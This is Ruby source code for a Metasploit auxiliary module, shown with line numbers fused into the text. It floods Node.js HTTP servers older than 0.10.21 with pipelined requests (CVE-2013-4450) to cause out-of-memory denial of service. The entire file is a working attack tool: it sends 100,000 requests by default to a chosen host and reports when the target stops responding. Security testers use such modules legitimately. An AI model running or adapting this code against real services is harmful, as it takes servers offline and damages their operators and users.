Path: blob/master/modules/auxiliary/dos/http/nodejs_pipelining.rb
70460 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Node.js HTTP Pipelining Denial of Service',14'Description' => %q{15This module exploits a Denial of Service (DoS) condition in the HTTP parser of Node.js versions16released before 0.10.21 and 0.8.26. The attack sends many pipelined17HTTP requests on a single connection, which causes unbounded memory18allocation when the client does not read the responses.19},20'Author' => [21'Marek Majkowski', # Vulnerability discovery22'titanous', # Metasploit module23'joev' # Metasploit module24],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2013-4450' ],28[ 'OSVDB', '98724' ],29[ 'BID', '63229' ],30[ 'URL', 'https://nodejs.org/ja/blog/vulnerability/http-server-pipeline-flood-dos/' ]31],32'DisclosureDate' => '2013-10-18',33'Notes' => {34'Stability' => [CRASH_SERVICE_DOWN],35'SideEffects' => [],36'Reliability' => []37}38)39)4041register_options(42[43Opt::RPORT(80),44OptInt.new('RLIMIT', [true, 'Number of requests to send', 100000])45]46)47end4849# Remove due to false positives and false negatives: https://github.com/rapid7/metasploit-framework/pull/2133250def _check51# http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/52# check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted53status = Exploit::CheckCode::Safe('Target does not appear to be a vulnerable Node.js server')54connect55sock.put(http_request('GEM'))56begin57response = sock.get_once58status = Exploit::CheckCode::Appears('Node.js accepted a malformed HTTP method, likely < 0.10.17') if response =~ /HTTP/59rescue EOFError60# checking against >= 0.10.17 raises EOFError because there is no61# response to GEM requests62vprint_error('Failed to determine the vulnerable state due to an EOFError (no response)')63return Msf::Exploit::CheckCode::Unknown('No response to malformed HTTP request')64ensure65disconnect66end67status68end6970def host71host = datastore['RHOST']72host += ':' + datastore['RPORT'].to_s if datastore['RPORT'] != 8073host74end7576def http_request(method = 'GET')77"#{method} / HTTP/1.1\r\nHost: #{host}\r\n\r\n"78end7980def run81payload = http_request82begin83print_status('Stressing the target memory...')84connect85datastore['RLIMIT'].times { sock.put(payload) }86print_status("Attack finished. If you read it, it wasn't enough to trigger an Out Of Memory condition.")87rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout88print_status("Unable to connect to #{host}.")89rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error90print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached")91ensure92disconnect93end94end95end969798